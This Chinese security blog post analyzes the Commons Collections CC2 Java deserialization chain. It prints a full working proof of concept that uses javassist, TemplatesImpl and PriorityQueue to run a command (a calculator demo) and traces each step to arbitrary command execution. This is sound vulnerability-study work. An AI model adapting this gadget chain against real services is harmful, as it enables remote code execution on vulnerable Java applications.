“白痴“上帝视角调节反序列化链之CC2
說是白癡上帝視角的原因在于我們拿到了poc,模擬不知道任何細(xì)節(jié),去分析這個漏洞的形成原因。也可以說半黑盒狀態(tài),主要是鍛煉一下分析能力。CC1的分析已經(jīng)在之前的文章發(fā)過了。主要是拿來入門的,現(xiàn)在我們分析一下CC2.這篇文章也是重構(gòu),很早之前分析了一次,但是當(dāng)時水平比現(xiàn)在還低,所以很多地方還不夠清楚。現(xiàn)在重新分析一下。需要涉及到以下的知識點
javassist動態(tài)編程(主要是字節(jié)碼修改操作,把他可以看成一個加強(qiáng)版的反射)
本來開始直接跟著poc調(diào)的,poc不是特別的友好,很多地方不清楚,那我們還是借助poc逆向來分析吧。
poc import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;public class cc2 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("e0mlja");payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2);queue.add(1);queue.add(1);Field field2=queue.getClass().getDeclaredField("comparator");field2.setAccessible(true);field2.set(queue,comparator);Field field3=queue.getClass().getDeclaredField("queue");field3.setAccessible(true);field3.set(queue,new Object[]{templatesImpl,templatesImpl});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();} }了解反序列化的都知道,最終是調(diào)用了重寫的ReadObject導(dǎo)致了反序列化。所以這里我們看看是PriorityQueue這個類導(dǎo)致了反序列化。我們看看他的ReadObject方法。
方法不大,仔細(xì)看看忍一下。heapify()特別矚目(其實是因為沒啥看的了)跟進(jìn)去看看
siftDown
siftDownUsingComparator
這里我能火速的標(biāo)記出來是因為之前已經(jīng)調(diào)過了。跟到這里,comparetor調(diào)用了compare()方法,再進(jìn)去就是進(jìn)接口了。所以這里我們暫放一下,思考一下。是不是某個comparator接口的實現(xiàn)類或者實現(xiàn)類的子類賦值給了comparator(),其中他的compare()調(diào)用了其他的一些列方法導(dǎo)致了反序列化鏈?這里說說兩個方法
(1)尋找Comparator的實現(xiàn)類,并且有compare()方法的類去找找。
(2)直接看poc,看看別人找到了哪個類。
本著說道做到的原則,說了當(dāng)咸魚就要躺到底,這一期當(dāng)個白癡,直接看poc里給了哪個類。
看看這個類有哪些東西。臥槽?compare()方法里調(diào)用了transform,然后 this.transformer構(gòu)造方法賦值我們可控。可真是小刀劃屁股,著實讓人開了眼。
不錯,成功了。想一下我們現(xiàn)在有的東西,能夠通過反序列化PriorityQueue,實現(xiàn)任一類的方法某個調(diào)用了。但前提是我們這個類必須要可序列化。我們從CC1知道,Runtime是不能直接序列化的。所以這里要利用CC1的話必須要構(gòu)造transformerChain傳入PriorityQueue中,但是很遺憾,類型轉(zhuǎn)換失敗,所以我們要尋找其他的出路了。其實我們的需求現(xiàn)在已經(jīng)比較低了。我們自己寫了一個類上去,現(xiàn)實中肯定沒有開發(fā)敢這么寫,第二天可能就要跑路。所以我們現(xiàn)在找一個辦法,能夠動態(tài)生成一個類,也可以打到一樣的效果,這就用到了javassist動態(tài)編程了。這里不多介紹,以往文章應(yīng)該發(fā)了,沒法的話后續(xù)補(bǔ)上。有人可能會疑惑了,為啥不能直接生成一個新的類,添加方法。這是動態(tài)編程可以完成的。但是我們要知道生成的類是沒有class的,需要調(diào)用修改都要用反射,所以是找不到我們想要執(zhí)行的方法的。這里我們可以尋找一個其他的可以反序列化類,來生成這個對象。
這里選擇了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的newTransformer()來實現(xiàn)。我們來看看這個類
這幾個涉及方法的,我們都跟進(jìn)去看看
最終發(fā)現(xiàn)了newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance()。也就是說利用這條鏈子來加載并實例化了一個類。(注意,我們采用javassist生成的類的方法是靜態(tài)方法,類在實例化的時候就會調(diào)用。)流程差不多清楚了,現(xiàn)在來看看我們要實現(xiàn)這個鏈子還需要什么條件。
getTransletInstance() 不需要任何條件即可執(zhí)行
defineTransletClasses() (1) _name不為空 _class為空(構(gòu)造方法中賦值,不傳就行了)。
loader.defineClass(_bytecodes[i]) (1)_bytecodes不為空 (2)超類需要為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
來看看構(gòu)造完成后,在getTransletInstance()調(diào)用了newInstance()完成了類的實例化,執(zhí)行了我們的惡意代碼。
(1)最后總結(jié)一下。我們首先是在重構(gòu)的PriorityQueue.readObject里面找到了heapify()方法。
(2)通過heapify()->siftDown()->siftDownUsingComparator()->Comparator.compare()實現(xiàn)了一條命令執(zhí)行鏈,但是由于沒有辦法生成新的類,所以還需要找一個任意生成類的鏈子。
(3)newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance(),通過這里,我們能將利用javassist動態(tài)生成的類的字節(jié)碼傳入到其中,實例化一個類調(diào)用我們定義的方法,造成任意命令執(zhí)行。
這里突發(fā)奇想,如果說我直接將Runtime作為對象傳入,然后動態(tài)調(diào)整這個CC鏈,是不是就不需要動態(tài)編程這一步了,直接就可以命令執(zhí)行?事實證明,是可行的。
談了一下,這種方法的不便之處在于只能命令執(zhí)行,需要實現(xiàn)什么得自己去找。javassist能夠動態(tài)生成一個函數(shù)。但是需要依賴第三方累。當(dāng)我們想要依賴的類不存在就用不起。用這個能夠直接執(zhí)行命令,但是對于一些不出網(wǎng)的情況,用起來就惱火,直接出網(wǎng)的能直接用。
【學(xué)習(xí)攻略】
總結(jié)
以上是生活随笔為你收集整理的“白痴“上帝视角调节反序列化链之CC2的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全工具】浅谈编写Java代码审计工具
- 下一篇: 【网络安全】一些webshell免杀的技